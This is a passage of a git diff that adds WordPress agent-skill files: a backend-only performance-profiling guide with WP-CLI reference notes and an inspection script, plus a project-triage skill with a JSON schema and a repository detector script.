blocks, + }; + + process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); +} + +main(); + diff --git a/.agents/skills/wp-performance/SKILL.md b/.agents/skills/wp-performance/SKILL.md new file mode 100644 index 0000000..24651ae --- /dev/null +++ b/.agents/skills/wp-performance/SKILL.md @@ -0,0 +1,150 @@ +--- +compatibility: Targets WordPress 7.0+ (PHP 7.4.0+). Backend-only agent; prefers WP-CLI (doctor/profile) when available. +description: 'Use when investigating or improving WordPress performance (backend-only agent): profiling and measurement (WP-CLI profile/doctor, Server-Timing, Query Monitor via REST headers), database/query optimization, autoloaded options, object caching, cron, HTTP API calls, and safe verification.' +metadata: + github-path: skills/wp-performance + github-ref: refs/heads/trunk + github-repo: https://github.com/WordPress/agent-skills + github-tree-sha: 9f691d0efa09221c4e256cf41c8ef450e4cf97c7 +name: wp-performance +--- +# WP Performance (backend-only) + +## When to use + +Use this skill when: + +- a WordPress site/page/endpoint is slow (frontend TTFB, admin, REST, WP-Cron) +- you need a profiling plan and tooling recommendations (WP-CLI profile/doctor, Query Monitor, Xdebug/XHProf, APMs) +- you’re optimizing DB queries, autoloaded options, object caching, cron tasks, or remote HTTP calls + +This skill assumes the agent cannot use a browser UI. Prefer WP-CLI, logs, and HTTP requests. + +## Inputs required + +- Environment and safety: dev/staging/prod, any restrictions (no writes, no plugin installs). +- How to target the install: + - WP root `--path=` + - (multisite/site targeting) `--url=` +- The performance symptom and scope: + - which URL/REST route/admin screen + - when it happens (always vs sporadic; logged-in vs logged-out) + +## Procedure + +### 0) Guardrails: measure first, avoid risky ops + +1. Confirm whether you may run write operations (plugin installs, config changes, cache flush). +2. Pick a reproducible target (URL or REST route) and capture a baseline: + - TTFB/time with `curl` if possible + - WP-CLI profiling if available + +Read: +- `references/measurement.md` + +### 1) Generate a backend-only performance report (deterministic) + +Run: + +- `node skills/wp-performance/scripts/perf_inspect.mjs --path= [--url=]` + +This detects: + +- WP-CLI availability and core version +- whether `wp doctor` / `wp profile` are available +- autoloaded options size (if possible) +- object-cache drop-in presence + +### 2) Fast wins: run diagnostics before deep profiling + +If you have WP-CLI access, prefer: + +- `wp doctor check` + +It catches common production foot-guns (autoload bloat, SAVEQUERIES/WP_DEBUG, plugin counts, updates). + +Read: +- `references/wp-cli-doctor.md` + +### 3) Deep profiling (no browser required) + +Preferred order: + +1. `wp profile stage` to see where time goes (bootstrap/main_query/template). +2. `wp profile hook` (optionally with `--url=`) to find slow hooks/callbacks. +3. `wp profile eval` for targeted code paths. + +Read: +- `references/wp-cli-profile.md` + +### 4) Query Monitor (backend-only usage) + +Query Monitor is normally UI-driven, but it can be used headlessly via REST API response headers and `_envelope` responses: + +- Authenticate (nonce or Application Password). +- Request REST responses and inspect headers (`x-qm-*`) and/or the `qm` property when using `?_envelope`. + +Read: +- `references/query-monitor-headless.md` + +### 5) Fix by category (choose the dominant bottleneck) + +Use the profile output to pick *one* primary bottleneck category: + +- **DB queries** → reduce query count, fix N+1 patterns, improve indexes, avoid expensive meta queries. + - `references/database.md` +- **Autoloaded options** → identify the biggest autoloaded options and stop autoloading large blobs. + - `references/autoload-options.md` +- **Object cache misses** → introduce caching or fix cache key/group usage; add persistent object cache where appropriate. + - `references/object-cache.md` +- **Remote HTTP calls** → add timeouts, caching, batching; avoid calling remote APIs on every request. + - `references/http-api.md` +- **Cron** → reduce due-now spikes, de-duplicate events, move heavy tasks out of request paths. + - `references/cron.md` + +### 6) Verify (repeat the same measurement) + +- Re-run the same `wp profile` / `wp doctor` / REST request. +- Confirm the performance delta and that behavior is unchanged. +- If the fix is risky, ship behind a feature flag or staged rollout when possible. + +## WordPress 6.9 performance improvements + +Be aware of these 6.9 changes when profiling: + +**On-demand CSS for classic themes:** +- Classic themes now get on-demand CSS loading (previously only block themes had this). +- Reduces CSS payload by 30-65% by only loading styles for blocks actually used on the page. +- If you're profiling a classic theme, this should already be helping. + +**Block themes with no render-blocking resources:** +- Block themes that don't define custom stylesheets (like Twenty Twenty-Three/Four) can now load with zero render-blocking CSS. +- Styles come from global styles (theme.json) and separate block styles, all inlined. +- This significantly improves LCP (Largest Contentful Paint). + +**Inline CSS limit increased:** +- The threshold for inlining small stylesheets has been raised, reducing render-blocking resources. + +Reference: https://make.wordpress.org/core/2025/11/18/wordpress-6-9-frontend-performance-field-guide/ + +## Verification + +- Baseline vs after numbers are captured (same environment, same URL/route). +- `wp doctor check` is clean (or improved) when applicable. +- No new PHP errors or warnings in logs. +- No cache flush is required for correctness (cache flush should be last resort). + +## Failure modes / debugging + +- “No change” after code changes: + - you measured a different URL/site (`--url` mismatch), caches masked results, or opcode cache is stale +- Profiling data is noisy: + - eliminate background tasks, test with warmed caches, run multiple samples +- `SAVEQUERIES`/Query Monitor causes overhead: + - don’t run in production unless explicitly approved + +## Escalation + +- If this is production and you don’t have explicit approval, do not: + - install plugins, enable `SAVEQUERIES`, run load tests, or flush caches during traffic +- If you need system-level profiling (APM, PHP profiler extensions), coordinate with ops/hosting. diff --git a/.agents/skills/wp-performance/references/autoload-options.md b/.agents/skills/wp-performance/references/autoload-options.md new file mode 100644 index 0000000..2b1758c --- /dev/null +++ b/.agents/skills/wp-performance/references/autoload-options.md @@ -0,0 +1,24 @@ +# Autoloaded options + +Autoloaded options are loaded on *every request*, so large autoload payloads can hurt performance site-wide. + +## Quick checks + +- Total autoload bytes: + - `wp option list --autoload=on --format=total_bytes` +- Find biggest autoloaded options: + - `wp option list --autoload=on --fields=option_name,size_bytes | sort -n -k 2 | tail` + +Docs: + +- `wp option list`: https://wpcli.dev/docs/option/list +- `wp doctor` includes an `autoload-options-size` check: + - https://make.wordpress.org/cli/handbook/doctor-default-checks/ + +## Fix patterns + +- Stop autoloading large blobs: + - store large data in non-autoload options (autoload=off) + - move large computed data to transients/object cache +- Remove stale options left behind by removed plugins/themes (careful: confirm usage before deleting). + diff --git a/.agents/skills/wp-performance/references/cron.md b/.agents/skills/wp-performance/references/cron.md new file mode 100644 index 0000000..dd7a53d --- /dev/null +++ b/.agents/skills/wp-performance/references/cron.md @@ -0,0 +1,20 @@ +# WP-Cron performance + +Use this file when cron causes spikes or request-time slowness. + +Backend-only tools: + +- `wp cron test` (spawning health) +- `wp cron event list` +- `wp cron event run --due-now` + +Reference: + +- WP-CLI cron command package: https://github.com/wp-cli/cron-command + +Fix patterns: + +- De-duplicate scheduled events and reduce frequency where possible. +- Ensure tasks are idempotent and short. +- Move heavy work off-request; cron that runs on page load can hurt TTFB. + diff --git a/.agents/skills/wp-performance/references/database.md b/.agents/skills/wp-performance/references/database.md new file mode 100644 index 0000000..cd796c7 --- /dev/null +++ b/.agents/skills/wp-performance/references/database.md @@ -0,0 +1,20 @@ +# Database / query performance + +Use this file when profiling points to DB time or high query counts. + +Common fixes: + +- Avoid N+1 query patterns (batch queries, prime caches, avoid per-row lookups). +- Prefer `fields => 'ids'` when you only need IDs. +- Avoid expensive meta queries where possible; consider indexing or schema changes. +- Use object caching for repeated reads. + +Tools (backend-only): + +- Query Monitor (REST headers/envelope) for query lists and stack traces. +- `wp db query` for targeted SQL/explain (be careful in prod). + +References: + +- Query Monitor plugin: https://wordpress.org/plugins/query-monitor/ + diff --git a/.agents/skills/wp-performance/references/http-api.md b/.agents/skills/wp-performance/references/http-api.md new file mode 100644 index 0000000..8de5a47 --- /dev/null +++ b/.agents/skills/wp-performance/references/http-api.md @@ -0,0 +1,15 @@ +# HTTP API (remote requests) + +Use this file when profiling shows slow external requests (`wp_remote_get`, etc.). + +Fix patterns: + +- Add timeouts and fail-fast behavior. +- Cache responses where appropriate (transients/object cache). +- Batch requests and avoid calling remote APIs on every page load. +- Move heavy remote work to async (cron/queue) where possible. + +Tooling: + +- Query Monitor can report HTTP API calls (including timing) via REST envelope info. + diff --git a/.agents/skills/wp-performance/references/measurement.md b/.agents/skills/wp-performance/references/measurement.md new file mode 100644 index 0000000..ef196ad --- /dev/null +++ b/.agents/skills/wp-performance/references/measurement.md @@ -0,0 +1,21 @@ +# Measurement (profiling vs benchmarking) + +Backend-only measurement options: + +- **WP-CLI profiling** (`wp profile`): best for pinpointing slow hooks/stages without a browser. +- **WP-CLI doctor** (`wp doctor`): best for quick diagnostics (autoload bloat, debug constants, updates). +- **Query Monitor via REST**: use authenticated REST requests and inspect `x-qm-*` headers / `qm` envelope data. +- **Server-Timing** (Performance Lab): inspect `Server-Timing` headers via `curl -I` (when enabled). +- **APM/profilers**: New Relic, Datadog, Blackfire, Tideways, XHProf/Xdebug (requires server support). + +Best practices: + +- Always capture a baseline first. +- Keep the test scenario fixed (same URL/route, same user state, same data). +- Prefer multiple samples and medians over single runs. + +References: + +- Measuring performance handbook: https://make.wordpress.org/performance/handbook/measuring-performance/ +- Benchmarking with Server-Timing: https://make.wordpress.org/performance/handbook/measuring-performance/benchmarking-server-timing/ + diff --git a/.agents/skills/wp-performance/references/object-cache.md b/.agents/skills/wp-performance/references/object-cache.md new file mode 100644 index 0000000..6e87f10 --- /dev/null +++ b/.agents/skills/wp-performance/references/object-cache.md @@ -0,0 +1,24 @@ +# Object caching + +Use this file when profiling indicates repeated queries or low cache hit rate. + +## Concepts + +- Default WP object cache is per-request memory only. +- A persistent object cache “drop-in” (`wp-content/object-cache.php`) can persist cache across requests. + +WP-CLI cache commands: + +- https://wpcli.dev/docs/cache + +Guardrails: + +- `wp cache flush` can impact all sites in multisite and cause load spikes: + - https://wpcli.dev/docs/cache/flush + +## Fix patterns + +- Cache expensive computed results (transients or object cache) with explicit invalidation. +- Avoid unbounded caches (set expirations or implement invalidation hooks). +- If adding a persistent object cache, coordinate with infra (Redis/Memcached) and test cache flush behavior. + diff --git a/.agents/skills/wp-performance/references/query-monitor-headless.md b/.agents/skills/wp-performance/references/query-monitor-headless.md new file mode 100644 index 0000000..fd427d3 --- /dev/null +++ b/.agents/skills/wp-performance/references/query-monitor-headless.md @@ -0,0 +1,38 @@ +# Query Monitor (headless / backend-only) + +Query Monitor is UI-first, but it can expose useful data to backend-only tooling. + +## What it can show + +Query Monitor can help debug: + +- DB queries (slow/dupes/errors), hooks/actions, HTTP API calls, PHP errors + +Plugin page: + +- https://wordpress.org/plugins/query-monitor/ + +Configuration constants: + +- https://querymonitor.com/help/configuration-constants/ + +## REST API requests (no browser needed) + +Query Monitor can add performance/error info to authenticated REST responses. + +Docs: + +- https://querymonitor.com/wordpress-debugging/rest-api-requests/ + +High-level approach: + +1. Authenticate (nonce or Application Password). +2. Make a REST request and inspect response headers like `x-qm-overview-*`. +3. If you request an enveloped response (`?_envelope`), you can get a `qm` property with: + - DB queries details, cache stats, HTTP API request details, etc. + +## Guardrails + +- Query Monitor adds some overhead; don’t enable it in production without approval. +- If it’s already installed by your platform (e.g. VIP), you may need to grant `view_query_monitor`. + diff --git a/.agents/skills/wp-performance/references/server-timing.md b/.agents/skills/wp-performance/references/server-timing.md new file mode 100644 index 0000000..b8a0174 --- /dev/null +++ b/.agents/skills/wp-performance/references/server-timing.md @@ -0,0 +1,22 @@ +# Server-Timing (Performance Lab) + +Use this file when you can enable Server-Timing metrics and want backend-only inspection via HTTP headers. + +Performance Lab plugin: + +- https://wordpress.org/plugins/performance-lab/ + +Benchmarking guidance: + +- https://make.wordpress.org/performance/handbook/measuring-performance/benchmarking-server-timing/ + +Backend-only approach: + +- Enable the relevant module/standalone plugin. +- Request a URL and inspect the `Server-Timing` header: + - `curl -sS -D - https://example.test/ -o /dev/null | rg -i \"^server-timing:\"` + +Guardrails: + +- Don’t enable experimental modules in production without approval. + diff --git a/.agents/skills/wp-performance/references/wp-cli-doctor.md b/.agents/skills/wp-performance/references/wp-cli-doctor.md new file mode 100644 index 0000000..f7edffd --- /dev/null +++ b/.agents/skills/wp-performance/references/wp-cli-doctor.md @@ -0,0 +1,24 @@ +# WP-CLI doctor (`wp doctor`) + +Use this for quick “production readiness” checks. + +## Install (if missing) + +- `wp package install wp-cli/doctor-command` + +Docs: + +- Default checks: https://make.wordpress.org/cli/handbook/doctor-default-checks/ +- Customize checks: https://make.wordpress.org/cli/handbook/guides/doctor/doctor-customize-config/ + +## Recommended usage + +- `wp doctor check` +- `wp doctor list` (to see available checks) + +Especially relevant to performance: + +- `autoload-options-size` (autoloaded options threshold) +- `constant-savequeries-falsy` / `constant-wp-debug-falsy` (avoid perf-costly debug flags in prod) +- cron checks (count/duplicates) + diff --git a/.agents/skills/wp-performance/references/wp-cli-profile.md b/.agents/skills/wp-performance/references/wp-cli-profile.md new file mode 100644 index 0000000..8575e48 --- /dev/null +++ b/.agents/skills/wp-performance/references/wp-cli-profile.md @@ -0,0 +1,32 @@ +# WP-CLI profiling (`wp profile`) + +Use this when you need actionable profiling without a browser. + +## Install (if missing) + +`wp profile` comes from a WP-CLI package: + +- `wp package install wp-cli/profile-command` + +Docs: + +- https://wpcli.dev/docs/profile/stage +- https://wpcli.dev/docs/profile/hook +- https://wpcli.dev/docs/profile/eval + +## Recommended sequence + +1. Stage overview: + - `wp profile stage --fields=stage,time,cache_ratio [--url=]` +2. Hooks hotspot: + - `wp profile hook --spotlight [--url=]` + - then drill into a specific hook: + - `wp profile hook init --spotlight [--url=]` +3. Targeted evaluation: + - `wp profile eval 'do_action(\"init\");' --hook=init` + +Tips: + +- Use `--url` to profile specific site/route behavior. +- Use `--skip-plugins` / `--skip-themes` to isolate culprit components (careful: behavior changes). + diff --git a/.agents/skills/wp-performance/scripts/perf_inspect.mjs b/.agents/skills/wp-performance/scripts/perf_inspect.mjs new file mode 100644 index 0000000..0b96e21 --- /dev/null +++ b/.agents/skills/wp-performance/scripts/perf_inspect.mjs @@ -0,0 +1,128 @@ +import fs from "node:fs"; +import path from "node:path"; +import { spawnSync } from "node:child_process"; + +const TOOL_VERSION = "0.1.0"; + +function parseArgs(argv) { + const args = { path: null, url: null, allowRoot: false }; + for (const a of argv) { + if (a === "--allow-root") args.allowRoot = true; + if (a.startsWith("--path=")) args.path = a.slice("--path=".length); + if (a.startsWith("--url=")) args.url = a.slice("--url=".length); + } + return args; +} + +function existsFile(p) { + try { + return fs.statSync(p).isFile(); + } catch { + return false; + } +} + +function runWp(cmdArgs, { pathArg, urlArg, allowRoot }) { + const args = []; + if (allowRoot) args.push("--allow-root"); + if (pathArg) args.push(`--path=${pathArg}`); + if (urlArg) args.push(`--url=${urlArg}`); + args.push(...cmdArgs); + + const out = spawnSync("wp", args, { encoding: "utf8" }); + return { + ok: out.status === 0, + status: out.status, + error: out.error ? { message: out.error.message, code: out.error.code } : null, + stdout: (out.stdout || "").trim(), + stderr: (out.stderr || "").trim(), + args, + }; +} + +function canRun(report, result, noteIfNotOk) { + report._runs.push({ cmd: result.args.join(" "), ok: result.ok, status: result.status, error: result.error }); + if (!result.ok && noteIfNotOk) report.notes.push(noteIfNotOk); + return result.ok; +} + +function main() { + const opts = parseArgs(process.argv.slice(2)); + const report = { + tool: { name: "perf_inspect", version: TOOL_VERSION }, + target: { path: opts.path, url: opts.url }, + wpCli: { available: false }, + wp: { + isInstalled: null, + coreVersion: null, + }, + commands: { + doctor: { available: false }, + profile: { available: false }, + }, + perfSignals: { + autoloadTotalBytes: null, + hasObjectCacheDropin: null, + hasAdvancedCacheDropin: null, + hasQueryMonitorPlugin: null, + hasPerformanceLabPlugin: null, + }, + notes: [], + _runs: [], + }; + + const info = runWp(["--info"], { pathArg: null, urlArg: null, allowRoot: opts.allowRoot }); + report.wpCli.available = info.ok; + report.wpCli.info = info; + if (!info.ok) { + report.notes.push("WP-CLI not available on PATH. Run in the intended environment (container/ssh) or install WP-CLI."); + process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); + return; + } + + const isInstalled = runWp(["core", "is-installed"], { pathArg: opts.path, urlArg: opts.url, allowRoot: opts.allowRoot }); + report.wp.isInstalled = isInstalled.ok; + canRun(report, isInstalled, "WordPress not detected at the given --path/--url (check wp-config.php and targeting)."); + if (!isInstalled.ok) { + process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); + return; + } + + const coreVersion = runWp(["core", "version"], { pathArg: opts.path, urlArg: opts.url, allowRoot: opts.allowRoot }); + report.wp.coreVersion = coreVersion.ok ? coreVersion.stdout : null; + canRun(report, coreVersion); + + const doctorHelp = runWp(["doctor", "--help"], { pathArg: opts.path, urlArg: opts.url, allowRoot: opts.allowRoot }); + report.commands.doctor.available = doctorHelp.ok; + canRun(report, doctorHelp); + + const profileHelp = runWp(["profile", "--help"], { pathArg: opts.path, urlArg: opts.url, allowRoot: opts.allowRoot }); + report.commands.profile.available = profileHelp.ok; + canRun(report, profileHelp); + + const autoloadBytes = runWp(["option", "list", "--autoload=on", "--format=total_bytes"], { + pathArg: opts.path, + urlArg: opts.url, + allowRoot: opts.allowRoot, + }); + if (autoloadBytes.ok && /^\d+$/.test(autoloadBytes.stdout)) { + report.perfSignals.autoloadTotalBytes = Number(autoloadBytes.stdout); + } + canRun(report, autoloadBytes); + + if (opts.path) { + const wpContent = path.join(opts.path, "wp-content"); + report.perfSignals.hasObjectCacheDropin = existsFile(path.join(wpContent, "object-cache.php")); + report.perfSignals.hasAdvancedCacheDropin = existsFile(path.join(wpContent, "advanced-cache.php")); + report.perfSignals.hasQueryMonitorPlugin = existsFile(path.join(wpContent, "plugins", "query-monitor", "query-monitor.php")); + report.perfSignals.hasPerformanceLabPlugin = existsFile(path.join(wpContent, "plugins", "performance-lab", "load.php")); + } + + if (!report.commands.doctor.available) report.notes.push("Tip: install WP-CLI doctor: `wp package install wp-cli/doctor-command`."); + if (!report.commands.profile.available) report.notes.push("Tip: install WP-CLI profile: `wp package install wp-cli/profile-command`."); + + process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); +} + +main(); + diff --git a/.agents/skills/wp-plugin-development/SKILL.md b/.agents/skills/wp-plugin-development/SKILL.md index 9cec1d0..b974d41 100644 --- a/.agents/skills/wp-plugin-development/SKILL.md +++ b/.agents/skills/wp-plugin-development/SKILL.md @@ -1,9 +1,13 @@ --- +compatibility: Targets WordPress 7.0+ (PHP 7.4.0+). Filesystem-based agent with bash + node. Some workflows require WP-CLI. +description: 'Use when developing WordPress plugins: architecture and hooks, activation/deactivation/uninstall, admin UI and Settings API, data storage, cron/tasks, security (nonces/capabilities/sanitization/escaping), and release packaging.' +metadata: + github-path: skills/wp-plugin-development + github-ref: refs/heads/trunk + github-repo: https://github.com/WordPress/agent-skills + github-tree-sha: 4693341c0e9f2f7218115ae3568d7ad444b8c884 name: wp-plugin-development -description: "Use when developing WordPress plugins: architecture and hooks, activation/deactivation/uninstall, admin UI and Settings API, data storage, cron/tasks, security (nonces/capabilities/sanitization/escaping), and release packaging." -compatibility: "Targets WordPress 7.0+ (PHP 7.4.0+). Filesystem-based agent with bash + node. Some workflows require WP-CLI." --- - # WP Plugin Development ## When to use diff --git a/.agents/skills/wp-plugin-directory-guidelines/SKILL.md b/.agents/skills/wp-plugin-directory-guidelines/SKILL.md index 87061d3..d6b8fb3 100644 --- a/.agents/skills/wp-plugin-directory-guidelines/SKILL.md +++ b/.agents/skills/wp-plugin-directory-guidelines/SKILL.md @@ -1,9 +1,13 @@ --- +compatibility: Targets WordPress 7.0+ (PHP 7.4.0+). +description: Use when reviewing WordPress plugins for GPL compliance, checking license headers or compatibility, evaluating upsell/freemium/trialware patterns, validating plugin naming or trademark rules, checking plugin slugs, understanding why a plugin was rejected from WordPress.org, or answering any question about the 18 WordPress.org Plugin Directory guidelines — even if the user doesn't mention 'guidelines' explicitly. +metadata: + github-path: skills/wp-plugin-directory-guidelines + github-ref: refs/heads/trunk + github-repo: https://github.com/WordPress/agent-skills + github-tree-sha: 19d785d6ba82c0100e2cc793af64ec3a8c9538e6 name: wp-plugin-directory-guidelines -description: "Use when reviewing WordPress plugins for GPL compliance, checking license headers or compatibility, evaluating upsell/freemium/trialware patterns, validating plugin naming or trademark rules, checking plugin slugs, understanding why a plugin was rejected from WordPress.org, or answering any question about the 18 WordPress.org Plugin Directory guidelines — even if the user doesn't mention 'guidelines' explicitly." -compatibility: "Targets WordPress 7.0+ (PHP 7.4.0+)." --- - ## Overview Authoritative reference for the 18 WordPress.org Plugin Directory guidelines. Covers GPL licensing, plugin naming/trademark rules, trialware restrictions, and all other submission requirements. diff --git a/.agents/skills/wp-project-triage/SKILL.md b/.agents/skills/wp-project-triage/SKILL.md new file mode 100644 index 0000000..1b2ea64 --- /dev/null +++ b/.agents/skills/wp-project-triage/SKILL.md @@ -0,0 +1,42 @@ +--- +compatibility: Targets WordPress 7.0+ (PHP 7.4.0+). Filesystem-based agent with bash + node. Some workflows require WP-CLI. +description: Use when you need a deterministic inspection of a WordPress repository (plugin/theme/block theme/WP core/Gutenberg/full site) including tooling/tests/version hints, and a structured JSON report to guide workflows and guardrails. +metadata: + github-path: skills/wp-project-triage + github-ref: refs/heads/trunk + github-repo: https://github.com/WordPress/agent-skills + github-tree-sha: cbda736124bdbce5cffa77646e18d1b11ebeda5a +name: wp-project-triage +--- +# WP Project Triage + +## When to use + +Use this skill to quickly understand what kind of WordPress repo you’re in and what commands/conventions to follow before making changes. + +## Inputs required + +- Repo root (current working directory). + +## Procedure + +1. Run the detector (prints JSON to stdout): + - `node skills/wp-project-triage/scripts/detect_wp_project.mjs` +2. If you need the exact output contract, read: + - `skills/wp-project-triage/references/triage.schema.json` +3. Use the report to select workflow guardrails: + - project kind(s) + - PHP/Node tooling present + - tests present + - version hints and sources +4. If the report is missing signals you need, update the detector rather than guessing. + +## Verification + +- The JSON should parse and include: `project.kind`, `signals`, and `tooling`. +- Re-run after changes that affect structure/tooling (adding `theme.json`, `block.json`, build config). + +## Failure modes / debugging + +- If it reports `unknown`, check whether the repo root is correct. +- If scanning is slow, add/extend ignore directories in the script. diff --git a/.agents/skills/wp-project-triage/references/triage.schema.json b/.agents/skills/wp-project-triage/references/triage.schema.json new file mode 100644 index 0000000..b947f1c --- /dev/null +++ b/.agents/skills/wp-project-triage/references/triage.schema.json @@ -0,0 +1,143 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://agentskills.local/wp-project-triage/triage.schema.json", + "title": "WP Project Triage Report", + "type": "object", + "required": ["tool", "project", "signals", "tooling"], + "properties": { + "tool": { + "type": "object", + "required": ["name", "version"], + "properties": { + "name": { "type": "string", "const": "detect_wp_project" }, + "version": { "type": "string" } + }, + "additionalProperties": true + }, + "project": { + "type": "object", + "required": ["kind"], + "properties": { + "kind": { + "type": "array", + "items": { + "type": "string", + "enum": [ + "unknown", + "wp-plugin", + "wp-mu-plugin", + "wp-theme", + "wp-block-theme", + "wp-block-plugin", + "wp-site", + "wp-core", + "gutenberg" + ] + } + }, + "primary": { "type": "string" }, + "notes": { "type": "array", "items": { "type": "string" } } + }, + "additionalProperties": true + }, + "signals": { + "type": "object", + "required": ["paths"], + "properties": { + "paths": { + "type": "object", + "properties": { + "repoRoot": { "type": "string" }, + "wpContent": { "type": "string" }, + "pluginsDir": { "type": "string" }, + "themesDir": { "type": "string" } + }, + "additionalProperties": true + } + , + "usesInteractivityApi": { "type": "boolean" }, + "usesAbilitiesApi": { "type": "boolean" }, + "usesInnerBlocks": { "type": "boolean" }, + "usesWpCli": { "type": "boolean" }, + "performanceHints": { "type": "object", "additionalProperties": true }, + "interactivityHints": { "type": "object", "additionalProperties": true }, + "abilitiesHints": { "type": "object", "additionalProperties": true }, + "innerBlocksHints": { "type": "object", "additionalProperties": true }, + "wpCliHints": { "type": "object", "additionalProperties": true } + }, + "additionalProperties": true + }, + "tooling": { + "type": "object", + "required": ["php", "node", "tests"], + "properties": { + "php": { + "type": "object", + "properties": { + "hasComposerJson": { "type": "boolean" }, + "hasVendorDir": { "type": "boolean" }, + "phpunitXml": { "type": "array", "items": { "type": "string" } } + }, + "additionalProperties": true + }, + "node": { + "type": "object", + "properties": { + "hasPackageJson": { "type": "boolean" }, + "packageManager": { "type": ["string", "null"], "enum": ["npm", "yarn", "pnpm", "bun", null] }, + "usesWordpressScripts": { "type": "boolean" } + }, + "additionalProperties": true + }, + "tests": { + "type": "object", + "properties": { + "hasPhpUnit": { "type": "boolean" }, + "hasWpEnv": { "type": "boolean" }, + "hasPlaywright": { "type": "boolean" }, + "hasJest": { "type": "boolean" } + }, + "additionalProperties": true + } + }, + "additionalProperties": true + }, + "versions": { + "type": "object", + "properties": { + "wordpress": { + "type": "object", + "properties": { + "core": { + "type": "object", + "properties": { + "value": { "type": ["string", "null"] }, + "source": { "type": ["string", "null"] } + }, + "additionalProperties": true + } + }, + "additionalProperties": true + }, + "gutenberg": { + "type": "object", + "properties": { + "value": { "type": ["string", "null"] }, + "source": { "type": ["string", "null"] } + }, + "additionalProperties": true + } + }, + "additionalProperties": true + }, + "recommendations": { + "type": "object", + "properties": { + "commands": { "type": "array", "items": { "type": "string" } }, + "notes": { "type": "array", "items": { "type": "string" } } + }, + "additionalProperties": true + } + }, + "additionalProperties": true +} diff --git a/.agents/skills/wp-project-triage/scripts/detect_wp_project.mjs b/.agents/skills/wp-project-triage/scripts/detect_wp_project.mjs new file mode 100644 index 0000000..e6d463f --- /dev/null +++ b/.agents/skills/wp-project-triage/scripts/detect_wp_project.mjs @@ -0,0 +1,592 @@ +import fs from "node:fs"; +import path from "node:path"; +import process from "node:process"; + +const TOOL_VERSION = "0.1.0"; + +const DEFAULT_IGNORES = new Set([ + ".git", + "node_modules", + "vendor", + "dist", + "build", + "coverage", + ".next", + ".turbo", +]); + +function statSafe(p) { + try { + return fs.statSync(p); + } catch { + return null; + } +} + +function readFileSafe(p, maxBytes = 256 * 1024) { + try { + const buf = fs.readFileSync(p); + if (buf.byteLength > maxBytes) return buf.subarray(0, maxBytes).toString("utf8"); + return buf.toString("utf8"); + } catch { + return null; + } +} + +function scanForTokens(repoRoot, { tokens, exts, maxFiles = 2500, maxDepth = 8 }) { + const loweredTokens = tokens.map((t) => t.toLowerCase()); + const matches = new Map(); + + const { results: files, truncated } = findFilesRecursive( + repoRoot, + (p) => { + const ext = path.extname(p).toLowerCase(); + return exts.includes(ext); + }, + { maxFiles, maxDepth } + ); + + for (const filePath of files) { + const contents = readFileSafe(filePath, 128 * 1024); + if (!contents) continue; + const haystack = contents.toLowerCase(); + + for (let i = 0; i < loweredTokens.length; i += 1) { + const token = loweredTokens[i]; + if (matches.has(token)) continue; + if (haystack.includes(token)) matches.set(token, path.relative(repoRoot, filePath)); + } + if (matches.size === loweredTokens.length) break; + } + + return { + truncated, + matches: Object.fromEntries([...matches.entries()]), + }; +} + +function existsFile(p) { + const st = statSafe(p); + return Boolean(st && st.isFile()); +} + +function existsDir(p) { + const st = statSafe(p); + return Boolean(st && st.isDirectory()); +} + +function detectPackageManager(repoRoot) { + const hasPnpm = existsFile(path.join(repoRoot, "pnpm-lock.yaml")); + const hasYarn = existsFile(path.join(repoRoot, "yarn.lock")); + const hasNpm = existsFile(path.join(repoRoot, "package-lock.json")); + const hasBun = existsFile(path.join(repoRoot, "bun.lockb")) || existsFile(path.join(repoRoot, "bun.lock")); + if (hasPnpm) return "pnpm"; + if (hasYarn) return "yarn"; + if (hasBun) return "bun"; + if (hasNpm) return "npm"; + return null; +} + +function findFilesRecursive(repoRoot, predicate, { maxFiles = 6000, maxDepth = 8 } = {}) { + const results = []; + const queue = [{ dir: repoRoot, depth: 0 }]; + let visited = 0; + + while (queue.length > 0) { + const { dir, depth } = queue.shift(); + if (depth > maxDepth) continue; + + let entries; + try { + entries = fs.readdirSync(dir, { withFileTypes: true }); + } catch { + continue; + } + + for (const ent of entries) { + const fullPath = path.join(dir, ent.name); + if (ent.isDirectory()) { + if (DEFAULT_IGNORES.has(ent.name)) continue; + queue.push({ dir: fullPath, depth: depth + 1 }); + continue; + } + if (!ent.isFile()) continue; + + visited += 1; + if (visited > maxFiles) return { results, truncated: true }; + if (predicate(fullPath)) results.push(fullPath); + } + } + + return { results, truncated: false }; +} + +function detectPluginHeaderFromPhpFile(filePath) { + const contents = readFileSafe(filePath, 128 * 1024); + if (!contents) return null; + const headerMatch = contents.match(/^\s*Plugin Name:\s*(.+)\s*$/im); + if (!headerMatch) return null; + return headerMatch[1].trim(); +} + +function detectThemeHeaderFromStyleCss(filePath) { + const contents = readFileSafe(filePath, 128 * 1024); + if (!contents) return null; + const headerMatch = contents.match(/^\s*Theme Name:\s*(.+)\s*$/im); + if (!headerMatch) return null; + return headerMatch[1].trim(); +} + +function guessWpCoreVersionFromCheckout(repoRoot) { + const versionPhp = path.join(repoRoot, "wp-includes", "version.php"); + if (!existsFile(versionPhp)) return { value: null, source: null }; + const contents = readFileSafe(versionPhp, 64 * 1024); + if (!contents) return { value: null, source: null }; + const match = contents.match(/\$wp_version\s*=\s*'([^']+)'/); + if (!match) return { value: null, source: "wp-includes/version.php" }; + return { value: match[1], source: "wp-includes/version.php" }; +} + +function guessGutenbergVersion(repoRoot) { + const gutenbergPackageJson = path.join(repoRoot, "packages", "plugins", "package.json"); + const rootPackageJson = path.join(repoRoot, "package.json"); + + for (const candidate of [gutenbergPackageJson, rootPackageJson]) { + if (!existsFile(candidate)) continue; + const txt = readFileSafe(candidate); + if (!txt) continue; + try { + const pkg = JSON.parse(txt); + if (pkg?.name === "@wordpress/plugins" && typeof pkg?.version === "string") { + return { value: pkg.version, source: path.relative(repoRoot, candidate) }; + } + if (pkg?.name === "gutenberg" && typeof pkg?.version === "string") { + return { value: pkg.version, source: path.relative(repoRoot, candidate) }; + } + } catch { + // ignore + } + } + return { value: null, source: null }; +} + +function parsePackageJson(repoRoot) { + const p = path.join(repoRoot, "package.json"); + if (!existsFile(p)) return null; + const txt = readFileSafe(p); + if (!txt) return null; + try { + return JSON.parse(txt); + } catch { + return null; + } +} + +function parseComposerJson(repoRoot) { + const p = path.join(repoRoot, "composer.json"); + if (!existsFile(p)) return null; 